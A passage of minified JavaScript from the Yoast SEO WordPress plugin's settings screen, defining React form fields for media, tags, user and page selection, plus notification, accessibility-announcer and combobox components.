yst-min-w-full"})):(0,e.createElement)("div",{className:"yst-w-48 yst-max-w-full"},(0,e.createElement)("span",{className:"yst-sr-only"},h),(0,e.createElement)(r,{className:"yst-mx-auto yst-h-12 yst-w-12 yst-text-slate-400 yst-stroke-1"}),f&&(0,e.createElement)("p",{className:"yst-text-xs yst-text-slate-600 yst-text-center yst-mt-1 yst-px-8"},f))),(0,e.createElement)("div",{className:"yst-flex yst-gap-1"},!o&&L>0?(0,e.createElement)(l.Button,{id:`button-${d}-replace`,variant:"secondary",onClick:D,disabled:I},y):(0,e.createElement)(l.Button,{id:`button-${d}-select`,variant:"secondary",onClick:D,disabled:I},h),!o&&L>0&&(0,e.createElement)(l.Link,{id:`button-${d}-remove`,as:"button",type:"button",variant:"error",onClick:B,className:or()("yst-px-3 yst-py-2 yst-rounded-md",I&&"yst-opacity-50 yst-cursor-not-allowed"),disabled:I},_)),N&&(0,e.createElement)("p",{id:O.error,className:"yst-mt-2 yst-text-sm yst-text-red-600"},N),F&&(0,e.createElement)("p",{className:"yst-mt-2 yst-text-sm yst-text-red-600"},(0,Lt.__)("Failed to retrieve media.","wordpress-seo")),s&&(0,e.createElement)("p",{id:O.description,className:or()("yst-mt-2",I&&"yst-opacity-50 yst-cursor-not-allowed")},s))};fa.propTypes={label:ir().string,description:ir().node,icon:ir().elementType,disabled:ir().bool,isDummy:ir().bool,libraryType:ir().string,variant:ir().oneOf((0,le.keys)(ma.variant)),id:ir().string.isRequired,mediaUrlName:ir().string.isRequired,mediaIdName:ir().string.isRequired,fallbackMediaId:ir().string,previewLabel:ir().node,selectLabel:ir().string,replaceLabel:ir().string,removeLabel:ir().string,className:ir().string};const ha=fa,ya=window.yoast.replacementVariableEditor,_a=({className:t="",disabled:s=!1,...r})=>{const[a,o]=(0,i.useState)(null),[n,,{setTouched:l,setValue:c}]=ee(r),d=(0,i.useCallback)((e=>{l(!0,!1),c(e)}),[r.name]),u=(0,i.useCallback)((()=>null==a?void 0:a.focus()),[a]),p=(0,i.useMemo)((()=>{var e;return(null!==(e=n.value)&&void 0!==e&&e.match(/%%\w+%%$/)?`${n.value} `:n.value)||""}),[n.value]);return(0,e.createElement)("div",{className:t},(0,e.createElement)(ya.ReplacementVariableEditor,{...n,content:p,onChange:d,editorRef:o,onFocus:u,isDisabled:s,...r}))};_a.propTypes={name:ir().string.isRequired,disabled:ir().bool,className:ir().string};const wa=_a,ga=t=>{const[{value:s,...r},,{setTouched:a,setValue:o}]=ee(t),n=(0,i.useMemo)((()=>(0,le.reduce)((0,le.isString)(s)&&(null==s?void 0:s.split(","))||[],((e,t)=>{const s=(0,le.trim)(t);return s?[...e,s]:e}),[])),[s]),c=(0,i.useCallback)((e=>{a(!0,!1),o([...n,e].join(","))}),[a,o,n]),d=(0,i.useCallback)((e=>{a(!0,!1),o([...n.slice(0,e),...n.slice(e+1)].join(","))}),[a,o,n]),u=(0,i.useCallback)((e=>{a(!0,!1),o(e.join(","))}),[a,o]);return(0,e.createElement)(l.TagField,{...r,tags:n,onAddTag:c,onRemoveTag:d,onSetTags:u,...t})};ga.propTypes={name:ir().string.isRequired};const ba=ga,va=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18 9v3m0 0v3m0-3h3m-3 0h-3m-2-5a4 4 0 11-8 0 4 4 0 018 0zM3 20a6 6 0 0112 0v1H3v-1z"}))}));let Ea;const xa=({children:t,className:s=""})=>(0,e.createElement)("div",{className:or()("yst-flex yst-items-center yst-justify-center yst-gap-2 yst-py-2 yst-px-3",s)},t);xa.propTypes={children:ir().node.isRequired,className:ir().string};const ka=({name:t,id:s,className:r="",...a})=>{const o=aa("selectPreference",[],"siteRepresentsPerson",{}),n=aa("selectUsersWith",[o],o),{addManyUsers:c}=ta(),[{value:d,...u},,{setTouched:p,setValue:m}]=ee({type:"select",name:t,id:s,...a}),[f,h]=(0,i.useState)(Qt),[y,_]=(0,i.useState)([]),w=aa("selectPreference",[],"canCreateUsers",!1),g=aa("selectPreference",[],"createUserUrl",""),b=(0,i.useMemo)((()=>{const e=(0,le.values)(n);return(0,le.find)(e,["id",d])}),[d,n]),v=(0,i.useCallback)((0,le.debounce)((async e=>{try{var t,s;h(Xt),Ea&&(null===(s=Ea)||void 0===s||s.abort()),Ea=new AbortController;const r=await Gt()({path:`/wp/v2/users?${(0,Rt.buildQueryString)({search:e,per_page:20})}`,signal:null===(t=Ea)||void 0===t?void 0:t.signal});_((0,le.map)(r,"id")),c(r),h(es)}catch(e){if(e instanceof DOMException&&"AbortError"===e.name)return;_([]),h(ts),console.error(e.message)}}),200),[_,c,h]),E=(0,i.useCallback)((e=>{p(!0,!1),m(e)}),[m]),x=(0,i.useCallback)((e=>v(e.target.value)),[v]);return(0,i.useEffect)((()=>{v("")}),[]),(0,e.createElement)(l.AutocompleteField,{...u,name:t,id:s,value:b?d:0,onChange:E,placeholder:(0,Lt.__)("Select a user...","wordpress-seo"),selectedLabel:null==b?void 0:b.name,onQueryChange:x,className:r,...a},(0,e.createElement)(e.Fragment,null,(f===Qt||f===es)&&(0,e.createElement)(e.Fragment,null,(0,le.isEmpty)(y)?(0,e.createElement)(xa,null,(0,Lt.__)("No users found.","wordpress-seo")):(0,le.map)(y,(t=>{const s=null==n?void 0:n[t];return s?(0,e.createElement)(l.AutocompleteField.Option,{key:null==s?void 0:s.id,value:null==s?void 0:s.id},null==s?void 0:s.name):null})),w&&(0,e.createElement)("li",{className:"yst-sticky yst-inset-x-0 yst-bottom-0 yst-group"},(0,e.createElement)("a",{id:`link-create_user-${s}`,href:g,target:"_blank",rel:"noreferrer",className:"yst-relative yst-w-full yst-flex yst-items-center yst-py-4 yst-px-3 yst-gap-2 yst-no-underline yst-text-sm yst-text-left yst-bg-white yst-text-slate-700 group-hover:yst-text-white group-hover:yst-bg-primary-500 yst-border-t yst-border-slate-200"},(0,e.createElement)(va,{className:"yst-w-5 yst-h-5 yst-text-slate-400 group-hover:yst-text-white"}),(0,e.createElement)("span",null,(0,Lt.__)("Add new user...","wordpress-seo"))))),f===Xt&&(0,e.createElement)(xa,null,(0,e.createElement)(l.Spinner,{variant:"primary"}),(0,Lt.__)("Searching users...","wordpress-seo")),f===ts&&(0,e.createElement)(xa,{className:"yst-text-red-600"},(0,Lt.__)("Failed to retrieve users.","wordpress-seo"))))};ka.propTypes={name:ir().string.isRequired,id:ir().string.isRequired,className:ir().string};const Sa=ka,La=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 13h6m-3-3v6m5 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"}))})),Ta=({children:t,className:s=""})=>(0,e.createElement)("div",{className:or()("yst-flex yst-items-center yst-justify-center yst-gap-2 yst-py-2 yst-px-3",s)},t);Ta.propTypes={children:ir().node.isRequired,className:ir().string};const Fa=({name:t,id:s,...r})=>{const a=aa("selectPreference",[],"siteBasicsPolicies",{}),o=aa("selectPagesWith",[a],(0,le.values)(a)),{fetchPages:n}=ta(),[{value:c,...d},,{setTouched:u,setValue:p}]=ee({type:"select",name:t,id:s,...r}),[m,f]=(0,i.useState)(Qt),[h,y]=(0,i.useState)([]),_=aa("selectPreference",[],"canCreatePages",!1),w=aa("selectPreference",[],"createPageUrl",""),g=(0,i.useMemo)((()=>{const e=(0,le.values)(o);return(0,le.find)(e,["id",c])}),[c,o]),b=(0,i.useCallback)((0,le.debounce)((async e=>{try{f(Xt);const t=await n({search:e});y((0,le.map)(t.payload,"id")),f(es)}catch(e){if(e instanceof DOMException&&"AbortError"===e.name)return;y([]),f(ts)}}),200),[y,f,n]),v=(0,i.useCallback)((e=>{u(!0,!1),p(e)}),[p,u]),E=(0,i.useCallback)((e=>b(e.target.value)),[b]),x=(0,i.useMemo)((()=>(0,le.isEmpty)(h)?(0,le.map)(o,"id"):h),[h,o]),k=(0,i.useMemo)((()=>m===es&&(0,le.isEmpty)(h)),[h,m]);return(0,e.createElement)(l.AutocompleteField,{...d,name:t,id:s,value:g?c:0,onChange:v,placeholder:(0,Lt.__)("None","wordpress-seo"),selectedLabel:null==g?void 0:g.name,onQueryChange:E,nullable:!0
/* translators: Hidden accessibility text. */,clearButtonScreenReaderText:(0,Lt.__)("Clear selection","wordpress-seo"),...r},(0,e.createElement)(e.Fragment,null,(m===Qt||m===es)&&(0,e.createElement)(e.Fragment,null,k?(0,e.createElement)(Ta,null,(0,Lt.__)("No pages found.","wordpress-seo")):(0,le.map)(x,(t=>{const s=null==o?void 0:o[t];return s?(0,e.createElement)(l.AutocompleteField.Option,{key:null==s?void 0:s.id,value:null==s?void 0:s.id},null==s?void 0:s.name):null})),_&&(0,e.createElement)("li",{className:"yst-sticky yst-inset-x-0 yst-bottom-0 yst-group"},(0,e.createElement)("a",{id:`link-create_page-${s}`,href:w,target:"_blank",rel:"noreferrer",className:"yst-relative yst-w-full yst-flex yst-items-center yst-py-4 yst-px-3 yst-gap-2 yst-no-underline yst-text-sm yst-text-left yst-bg-white yst-text-slate-700 group-hover:yst-text-white group-hover:yst-bg-primary-500 yst-border-t yst-border-slate-200"},(0,e.createElement)(La,{className:"yst-w-5 yst-h-5 yst-text-slate-400 group-hover:yst-text-white"}),(0,e.createElement)("span",null,(0,Lt.__)("Add new page...","wordpress-seo"))))),m===Xt&&(0,e.createElement)(Ta,null,(0,e.createElement)(l.Spinner,{variant:"primary"}),(0,Lt.__)("Searching pages...","wordpress-seo")),m===ts&&(0,e.createElement)(Ta,{className:"yst-text-red-600"},(0,Lt.__)("Failed to retrieve pages.","wordpress-seo"))))};Fa.propTypes={name:ir().string.isRequired,id:ir().string.isRequired};const $a=Fa,Pa=({as:t,transformValue:s=le.identity,...r})=>{const[a,,{setTouched:o,setValue:n}]=ee(r),l=(0,i.useCallback)((e=>{o(!0,!1),n(s(e))}),[r.name]);return(0,e.createElement)(t,{...a,onChange:l,...r})};Pa.propTypes={as:ir().elementType.isRequired,name:ir().string.isRequired,transformValue:ir().func};const Ra=Pa,Na=({name:t,id:s,options:r,...a})=>{const[o,,{setTouched:n,setValue:c}]=ee({type:"select",name:t,id:s,...a}),[d,u]=(0,i.useState)(""),p=e=>{var t;e&&null!==(t=r.find((t=>t.value===e)))&&void 0!==t&&t.label?u(r.find((t=>t.value===e)).label):u(e)},m=(0,i.useCallback)((e=>{c(e),p(e)}),[c,n]),f=(0,i.useCallback)((e=>{c(e.target.value),p(e.target.value)}),[c]);return(0,i.useEffect)((()=>{p(o.value)}),[]),(0,e.createElement)(l.AutocompleteField,{...o,name:t,id:s,selectedLabel:d,onChange:m,onQueryChange:f,...a},r&&r.map((t=>(0,e.createElement)(l.AutocompleteField.Option,{key:t.value,value:t.value},t.label))))};Na.propTypes={name:ir().string.isRequired,id:ir().string.isRequired,options:ir().array},Na.defaultProps={options:[]};const Ia=Na,Oa=t=>{const s=({name:s,...r})=>{const{isDisabled:a,message:o}=Xr({name:s});return a?(0,e.createElement)("div",null,(0,e.createElement)(l.Badge,{variant:"plain",size:"small",className:"yst-mb-2"},o),(0,e.createElement)(t,{name:s,...r,disabled:!0})):(0,e.createElement)(t,{name:s,...r})};return s.propTypes={name:ir().string.isRequired},s},Ca=t=>{const s=({name:s,isDummy:r=!1,...a})=>{const o=aa("selectDefaultSettingValue",[s],s);return r?(0,e.createElement)(t,{name:s,...a,disabled:!0,value:o,onChange:le.noop,checked:o,content:o}):(0,e.createElement)(t,{name:s,...a})};return s.propTypes={name:ir().string.isRequired,isDummy:ir().bool},s},Aa=t=>{const s=({name:s,isDummy:r=!1,...a})=>{const o=aa("selectDefaultSettingValue",[s],s);return r?(0,e.createElement)(t,{name:s,...a,disabled:!0,value:o,onChange:le.noop}):(0,e.createElement)(t,{name:s,...a})};return s.propTypes={name:ir().string.isRequired,isDummy:ir().bool},s},Ma=t=>{const s=({name:s,...r})=>{const{isTouched:a,error:o}=(({name:e})=>{const{touched:t,errors:s}=q();return{isTouched:(0,i.useMemo)((()=>(0,le.get)(t,e,!1)),[t]),error:(0,i.useMemo)((()=>(0,le.get)(s,e,"")),[s])}})({name:s});return(0,e.createElement)(t,{name:s,validation:{variant:"error",message:a&&o},...r})};return s.propTypes={name:ir().string.isRequired},s},Da=Ma(te),Ba=(e,t="")=>(0,le.reduce)(e,((e,s,r)=>{const a=(0,le.join)((0,le.filter)([t,r],(0,le.flowRight)(Boolean,le.toString)),".");return(0,le.isObject)(s)||(0,le.isArray)(s)?{...e,...Ba(s,a)}:{...e,[a]:s}}),{}),Ua=({id:t,onDismiss:s,...r})=>{const{errors:a}=q(),o=aa("selectSearchIndex"),n=(0,i.useMemo)((()=>Ba(a)),[a]);return(0,e.createElement)(l.Notifications.Notification,{key:t,id:t,onDismiss:s,...r},(0,e.createElement)("ul",{className:"yst-list-disc yst-mt-1 yst-ml-4 yst-space-y-2"},(0,le.map)(n,((t,s)=>t&&(0,e.createElement)("li",{key:s},(0,e.createElement)(Et,{to:`${(0,le.get)(o,`${s}.route`,"404")}#${(0,le.get)(o,`${s}.fieldId`,"")}`},`${(0,le.get)(o,`${s}.routeLabel`,"")} - ${(0,le.get)(o,`${s}.fieldLabel`,"")}`),": ",t)))))};Ua.propTypes={id:ir().string.isRequired,onDismiss:ir().func};const Va=()=>{(()=>{const{isValid:e,errors:t,isSubmitting:s}=q(),{addNotification:r,removeNotification:a}=ta(),o=aa("selectNotification",[],"validation-errors");(0,i.useEffect)((()=>{e&&o&&a("validation-errors")}),[e,o]),(0,i.useEffect)((()=>{s&&!e&&r({id:"validation-errors",variant:"error",size:"large",title:(0,Lt.__)("Oh no! It seems your form contains invalid data. Please review the following fields:","wordpress-seo")})}),[s,t,e])})(),(()=>{const{removeNotification:e}=ta(),t=aa("selectNotifications"),s=aa("selectPostTypes"),r=aa("selectTaxonomies");(0,i.useEffect)((()=>{const a=(0,le.some)(s,["isNew",!0]),o=(0,le.some)(r,["isNew",!0]);!t["new-content-type"]||a||o||e("new-content-type")}),[s,r])})();const{removeNotification:t}=ta(),s=aa("selectNotifications"),r=(0,i.useMemo)((()=>(0,le.map)(s,(e=>({...e,onDismiss:t,autoDismiss:"success"===e.variant?5e3:null,
/* translators: Hidden accessibility text. */
dismissScreenReaderLabel:(0,Lt.__)("Dismiss","wordpress-seo")})))),[s]);return(0,e.createElement)(l.Notifications,{notifications:r,position:"bottom-left"},r.map((t=>"validation-errors"===t.id?(0,e.createElement)(Ua,{key:t.id,...t}):(0,e.createElement)(l.Notifications.Notification,{key:t.id,...t}))))},ja=({name:t,disabled:s=!1})=>{const r=aa("selectPreference",[],"isNewsSeoActive"),a=aa("selectLink",[],"https://yoa.st/get-news-settings"),{values:o}=q(),n=(0,i.useMemo)((()=>"NewsArticle"===(0,le.get)(o,`wpseo_titles.schema-article-type-${t}`,"")),[t,o]);return r?null:(0,e.createElement)(ia.Z,{easing:"ease-in-out",duration:300,height:n&&!s?"auto":0,animateOpacity:!0},(0,e.createElement)(l.Alert,{className:"yst-mt-8",variant:"info",role:"status"},(0,Lt.sprintf)(/* translators: %s Expands to "Yoast News SEO" */
(0,Lt.__)("Are you publishing news articles? %s helps you optimize your site for Google News.","wordpress-seo"),"Yoast News SEO")," ",(0,e.createElement)("a",{id:"link-get-news-seo",href:a,target:"_blank",rel:"noopener noreferrer"},(0,Lt.sprintf)(/* translators: %s: Expands to "Yoast News SEO". */
(0,Lt.__)("Get the %s plugin now!","wordpress-seo"),"Yoast News SEO"))))};ja.propTypes={name:ir().string.isRequired,disabled:ir().bool};const za=ja,qa=({isEnabled:t,
/* translators: %1$s expands to an opening emphasis tag. %2$s expands to a closing emphasis tag. */
text:s=(0,Lt.__)("The %1$ssocial image%2$s, %1$ssocial title%2$s and %1$ssocial description%2$s require Open Graph data, which is currently disabled in the ‘Social sharing’ section in %3$sSite features%4$s.","wordpress-seo")})=>{const r=(0,i.useMemo)((()=>(0,i.createInterpolateElement)((0,Lt.sprintf)(s,"<em>","</em>","<link>","</link>"),{em:(0,e.createElement)("em",null),link:(0,e.createElement)(Et,{to:"/site-features#section-social-sharing"})})),[]);return t?null:(0,e.createElement)(l.Alert,{variant:"info",className:"yst-mb-6"},r)};qa.propTypes={isEnabled:ir().bool.isRequired,text:ir().string};const Wa=qa;var Ha={border:0,clip:"rect(0 0 0 0)",height:"1px",margin:"-1px",overflow:"hidden",whiteSpace:"nowrap",padding:0,width:"1px",position:"absolute"},Ya=function(e){var s=e.message,r=e["aria-live"];return t().createElement("div",{style:Ha,role:"log","aria-live":r},s||"")};Ya.propTypes={};const Ga=Ya;function Ka(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var Za=function(e){function s(){var t,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,s);for(var a=arguments.length,o=Array(a),n=0;n<a;n++)o[n]=arguments[n];return t=r=Ka(this,e.call.apply(e,[this].concat(o))),r.state={assertiveMessage1:"",assertiveMessage2:"",politeMessage1:"",politeMessage2:"",oldPolitemessage:"",oldPoliteMessageId:"",oldAssertiveMessage:"",oldAssertiveMessageId:"",setAlternatePolite:!1,setAlternateAssertive:!1},Ka(r,t)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(s,e),s.getDerivedStateFromProps=function(e,t){var s=t.oldPolitemessage,r=t.oldPoliteMessageId,a=t.oldAssertiveMessage,o=t.oldAssertiveMessageId,n=e.politeMessage,i=e.politeMessageId,l=e.assertiveMessage,c=e.assertiveMessageId;return s!==n||r!==i?{politeMessage1:t.setAlternatePolite?"":n,politeMessage2:t.setAlternatePolite?n:"",oldPolitemessage:n,oldPoliteMessageId:i,setAlternatePolite:!t.setAlternatePolite}:a!==l||o!==c?{assertiveMessage1:t.setAlternateAssertive?"":l,assertiveMessage2:t.setAlternateAssertive?l:"",oldAssertiveMessage:l,oldAssertiveMessageId:c,setAlternateAssertive:!t.setAlternateAssertive}:null},s.prototype.render=function(){var e=this.state,s=e.assertiveMessage1,r=e.assertiveMessage2,a=e.politeMessage1,o=e.politeMessage2;return t().createElement("div",null,t().createElement(Ga,{"aria-live":"assertive",message:s}),t().createElement(Ga,{"aria-live":"assertive",message:r}),t().createElement(Ga,{"aria-live":"polite",message:a}),t().createElement(Ga,{"aria-live":"polite",message:o}))},s}(e.Component);Za.propTypes={};const Ja=Za;function Qa(){console.warn("Announcement failed, LiveAnnouncer context is missing")}const Xa=t().createContext({announceAssertive:Qa,announcePolite:Qa}),eo=function(e){function s(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,s);var r=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,e.call(this,t));return r.announcePolite=function(e,t){r.setState({announcePoliteMessage:e,politeMessageId:t||""})},r.announceAssertive=function(e,t){r.setState({announceAssertiveMessage:e,assertiveMessageId:t||""})},r.state={announcePoliteMessage:"",politeMessageId:"",announceAssertiveMessage:"",assertiveMessageId:"",updateFunctions:{announcePolite:r.announcePolite,announceAssertive:r.announceAssertive}},r}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(s,e),s.prototype.render=function(){var e=this.state,s=e.announcePoliteMessage,r=e.politeMessageId,a=e.announceAssertiveMessage,o=e.assertiveMessageId,n=e.updateFunctions;return t().createElement(Xa.Provider,{value:n},this.props.children,t().createElement(Ja,{assertiveMessage:a,assertiveMessageId:o,politeMessage:s,politeMessageId:r}))},s}(e.Component);var to=s(3409),so=s.n(to);function ro(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}var ao=function(e){function t(){var s,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var a=arguments.length,o=Array(a),n=0;n<a;n++)o[n]=arguments[n];return s=r=ro(this,e.call.apply(e,[this].concat(o))),r.announce=function(){var e=r.props,t=e.message,s=e["aria-live"],a=e.announceAssertive,o=e.announcePolite;"assertive"===s&&a(t||"",so()()),"polite"===s&&o(t||"",so()())},ro(r,s)}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),t.prototype.componentDidMount=function(){this.announce()},t.prototype.componentDidUpdate=function(e){this.props.message!==e.message&&this.announce()},t.prototype.componentWillUnmount=function(){var e=this.props,t=e.clearOnUnmount,s=e.announceAssertive,r=e.announcePolite;!0!==t&&"true"!==t||(s(""),r(""))},t.prototype.render=function(){return null},t}(e.Component);ao.propTypes={};const oo=ao;var no=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},io=function(e){return t().createElement(Xa.Consumer,null,(function(s){return t().createElement(oo,no({},s,e))}))};io.propTypes={};const lo=io;const co=({children:t,title:s,description:r})=>{const a=(({prefix:e="",postfix:t=""}={})=>e+aa("selectPreference",[],"documentTitle")+t)({prefix:`${s} ‹ `}),o=(0,Lt.sprintf)(/* translators: 1: Settings' section title, 2: Yoast SEO */
(0,Lt.__)("%1$s Settings - %2$s","wordpress-seo"),s,"Yoast SEO");return(0,e.createElement)(eo,null,(0,e.createElement)(lo,{message:o,"aria-live":"polite"}),(0,e.createElement)(Yr.Helmet,null,(0,e.createElement)("title",null,a)),(0,e.createElement)("header",{className:"yst-p-8 yst-border-b yst-border-slate-200"},(0,e.createElement)("div",{className:"yst-max-w-screen-sm"},(0,e.createElement)(l.Title,null,s),r&&(0,e.createElement)("p",{className:"yst-text-tiny yst-mt-3"},r))),t)};co.propTypes={children:ir().node.isRequired,title:ir().string.isRequired,description:ir().node};const uo=co;function po(t,s){let[r,a]=(0,e.useState)(t),o=Fs(t);return Ls((()=>a(o.current)),[o,a,...s]),r}var mo;let fo=null!=(mo=e.useId)?mo:function(){let t=$s(),[s,r]=e.useState(t?()=>Ss.nextId():null);return Ls((()=>{null===s&&r(Ss.nextId())}),[s]),null!=s?""+s:void 0};function ho(e){return Ss.isServer?null:e instanceof Node?e.ownerDocument:null!=e&&e.hasOwnProperty("current")&&e.current instanceof Node?e.current.ownerDocument:document}let yo=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map((e=>`${e}:not([tabindex='-1'])`)).join(",");var _o,wo=(e=>(e[e.First=1]="First",e[e.Previous=2]="Previous",e[e.Next=4]="Next",e[e.Last=8]="Last",e[e.WrapAround=16]="WrapAround",e[e.NoScroll=32]="NoScroll",e))(wo||{}),go=(e=>(e[e.Error=0]="Error",e[e.Overflow=1]="Overflow",e[e.Success=2]="Success",e[e.Underflow=3]="Underflow",e))(go||{}),bo=((_o=bo||{})[_o.Previous=-1]="Previous",_o[_o.Next=1]="Next",_o),vo=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(vo||{});function Eo(t,s,r){let a=Fs(s);(0,e.useEffect)((()=>{function e(e){a.current(e)}return document.addEventListener(t,e,r),()=>document.removeEventListener(t,e,r)}),[t,r])}function xo(e){var t;if(e.type)return e.type;let s=null!=(t=e.as)?t:"button";return"string"==typeof s&&"button"===s.toLowerCase()?"button":void 0}function ko(t,s){let[r,a]=(0,e.useState)((()=>xo(t)));return Ls((()=>{a(xo(t))}),[t.type,t.as]),Ls((()=>{r||!s.current||s.current instanceof HTMLButtonElement&&!s.current.hasAttribute("type")&&a("button")}),[r,s]),r}["textarea","input"].join(",");var So=(e=>(e[e.First=0]="First",e[e.Previous=1]="Previous",e[e.Next=2]="Next",e[e.Last=3]="Last",e[e.Specific=4]="Specific",e[e.Nothing=5]="Nothing",e))(So||{});function Lo(e={},t=null,s=[]){for(let[r,a]of Object.entries(e))Fo(s,To(t,r),a);return s}function To(e,t){return e?e+"["+t+"]":t}function Fo(e,t,s){if(Array.isArray(s))for(let[r,a]of s.entries())Fo(e,To(t,r.toString()),a);else s instanceof Date?e.push([t,s.toISOString()]):"boolean"==typeof s?e.push([t,s?"1":"0"]):"string"==typeof s?e.push([t,s]):"number"==typeof s?e.push([t,`${s}`]):null==s?e.push([t,""]):Lo(s,t,e)}var $o=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))($o||{});let Po=ys((function(e,t){let{features:s=1,...r}=e;return ms({ourProps:{ref:t,"aria-hidden":2==(2&s)||void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...4==(4&s)&&2!=(2&s)&&{display:"none"}}},theirProps:r,slot:{},defaultTag:"div",name:"Hidden"})}));var Ro=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(Ro||{});function No(t,s){let r=(0,e.useRef)([]),a=Ps(t);(0,e.useEffect)((()=>{let e=[...r.current];for(let[t,o]of s.entries())if(r.current[t]!==o){let t=a(s,e);return r.current=s,t}}),[a,...s])}function Io(e){return[e.screenX,e.screenY]}var Oo=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Oo||{}),Co=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Co||{}),Ao=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(Ao||{}),Mo=(e=>(e[e.OpenCombobox=0]="OpenCombobox",e[e.CloseCombobox=1]="CloseCombobox",e[e.GoToOption=2]="GoToOption",e[e.RegisterOption=3]="RegisterOption",e[e.UnregisterOption=4]="UnregisterOption",e[e.RegisterLabel=5]="RegisterLabel",e))(Mo||{});function Do(e,t=(e=>e)){let s=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,r=function(e,t=(e=>e)){return e.slice().sort(((e,s)=>{let r=t(e),a=t(s);if(null===r||null===a)return 0;let o=r.compareDocumentPosition(a);return o&Node.DOCUMENT_POSITION_FOLLOWING?-1:o&Node.DOCUMENT_POSITION_PRECEDING?1:0}))}(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),a=s?r.indexOf(s):null;return-1===a&&(a=null),{options:r,activeOptionIndex:a}}let Bo={1:e=>e.dataRef.current.disabled||1===e.comboboxState?e:{...e,activeOptionIndex:null,comboboxState:1},0(e){if(e.dataRef.current.disabled||0===e.comboboxState)return e;let t=e.activeOptionIndex,{isSelected:s}=e.dataRef.current,r=e.options.findIndex((e=>s(e.dataRef.current.value)));return-1!==r&&(t=r),{...e,comboboxState:0,activeOptionIndex:t}},2(e,t){var s;if(e.dataRef.current.disabled||e.dataRef.current.optionsRef.current&&!e.dataRef.current.optionsPropsRef.current.static&&1===e.comboboxState)return e;let r=Do(e);if(null===r.activeOptionIndex){let e=r.options.findIndex((e=>!e.dataRef.current.disabled));-1!==e&&(r.activeOptionIndex=e)}let a=function(e,t){let s=t.resolveItems();if(s.length<=0)return null;let r=t.resolveActiveIndex(),a=null!=r?r:-1,o=(()=>{switch(e.focus){case 0:return s.findIndex((e=>!t.resolveDisabled(e)));case 1:{let e=s.slice().reverse().findIndex(((e,s,r)=>!(-1!==a&&r.length-s-1>=a||t.resolveDisabled(e))));return-1===e?e:s.length-1-e}case 2:return s.findIndex(((e,s)=>!(s<=a||t.resolveDisabled(e))));case 3:{let e=s.slice().reverse().findIndex((e=>!t.resolveDisabled(e)));return-1===e?e:s.length-1-e}case 4:return s.findIndex((s=>t.resolveId(s)===e.id));case 5:return null;default:!function(e){throw new Error("Unexpected object: "+e)}(e)}})();return-1===o?r:o}(t,{resolveItems:()=>r.options,resolveActiveIndex:()=>r.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...r,activeOptionIndex:a,activationTrigger:null!=(s=t.trigger)?s:1}},3:(e,t)=>{let s={id:t.id,dataRef:t.dataRef},r=Do(e,(e=>[...e,s]));null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(r.activeOptionIndex=r.options.indexOf(s));let a={...e,...r,activationTrigger:1};return e.dataRef.current.__demoMode&&void 0===e.dataRef.current.value&&(a.activeOptionIndex=0),a},4:(e,t)=>{let s=Do(e,(e=>{let 